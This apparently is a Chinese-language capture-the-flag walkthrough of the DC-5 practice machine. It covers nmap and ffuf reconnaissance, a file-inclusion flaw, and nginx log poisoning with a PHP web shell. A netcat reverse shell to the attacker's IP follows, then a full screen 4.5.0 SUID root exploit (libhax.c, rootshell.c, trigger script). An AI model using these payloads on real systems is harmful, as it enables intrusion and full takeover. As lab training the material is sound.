DC靶场的下载、安装与访问在上一篇的文章中。
靶场攻略:
1、使用nmap快速扫描的命令:
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.120.0/24
识别到靶场主机ip
编辑
2.使用命令:
nmap -A -p- -T4 192.168.120.137
探测靶场突破口,探测到开放了80端口,111端口和58821端口没啥用处。
编辑
3.访问80端口,寻找进一步突破口。如果直接使用ip访问会跳转到http://dc-4/,而无法正常加载出来。所以需要我们去添加hosts文件,跳转域名来访问靶场ip。
Windows:可以访问本地hosts,打开C:\Windows\System32\drivers\etc,修改hosts文件。
编辑
Linux:在/etc/hosts文件中添加域名。
打开浏览器,访问即可。
编辑
在contact.php页面,发现了交互地方。
编辑
我们先随便写一个提交一下。
编辑
当我们每次刷新的时候,下面的 copy的时间是一直在变化的。
编辑
4.此时我们可以对目录进行扫描一下。
ffuf -u http://192.168.120.137/FUZZ -w /root/fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt -s
编辑
访问footer.php时,可以看到copyright,结合我们提交后的那个页面,我们可以得知,这里存在文件包含。
编辑
漏洞利用
一般文件包含的参数常见的有 include
, require
, page
,file
, f
等等,我们可以首先手动尝试这些可能性极高的参数,如果没有发现再通过字典爆破。最终发现 file
正是文件包含的参数。
http://dc-5/thankyou.php?file=index.php
编辑
http://dc-5/thankyou.php?file=/etc/passwd
编辑
网站外部文件也能包含进来,那么我们也可以包含nginx的日志文件。ginx就会把相关的访问记录写入日志文件 access.log
的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log
中。nginx的日志文件一般存储在 /var/log/nginx/
中。我们尝试将一句话木马写入日志文件中。
我们就可以上传一句话木马。打开Burpsuite,抓包修改file参数,传入一句话file=<?php system($_GET['x']) ?>
编辑
然后再来测试一下命令
http://dc-5/thankyou.php?file=/var/log/nginx/error.log&x=id
编辑
建立shell
接下来就反弹一个shell,在本地监听一个端口 4443
。
编辑
然后再浏览器访问下面地址,利用一句话木马执行反弹shell的命令。
http://dc-5/thankyou.php?file=/var/log/nginx/error.log&x=nc -e /bin/bash 192.168.120.129 4443
编辑
然后升级为交互式shell,在本地执行下面命令:
python -c 'import pty;pty.spawn("/bin/bash")'
编辑
然后进行提权。
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
-perm 是代表按指定权限搜索。
-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限
-tpye 代表搜索指定的类型,f代表文件。
-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以分号为结束标识。
2>/dev/null 代表不显示错误信息,
编辑
用searchsploit搜索一下screen-4.5.0的文件。
searchsploit screen 4.5.0
编辑
我们将41154.sh文件复制到当前目录下面。
searchsploit -m 41154.sh
编辑
查看这个文件
cat 41154.sh
编辑从这个文件可以得出,需要我们去创建两个文件libhax.c和rootshell.c,之后使用gcc进行编译。
#include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); }
将这段代码保存为 libhax.c
,并执行下面命令进行编译:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
-fPIC 参数表明使用地址无关代码。
-shared 参数表明产生共享库。
-ldl 其中参数-l为连接一个共享库,dl表示名为libdl.a的静态库。
编辑
将下面代码保存为 rootshell.c文件
#include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); }
然后执行下面命令编译rootshell.c:
gcc -o rootshell rootshell.c
编辑
然后将下面代码保存为 getroot.sh
。
umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell
然后将编译后的文件和 getroot.sh
共三个文件一起上传到靶机的 /tmp
目录。这里我通过蚁剑上传的,然后修改getroot.sh的权限。
编辑
提权成功,在/root
目录获取flag。
编辑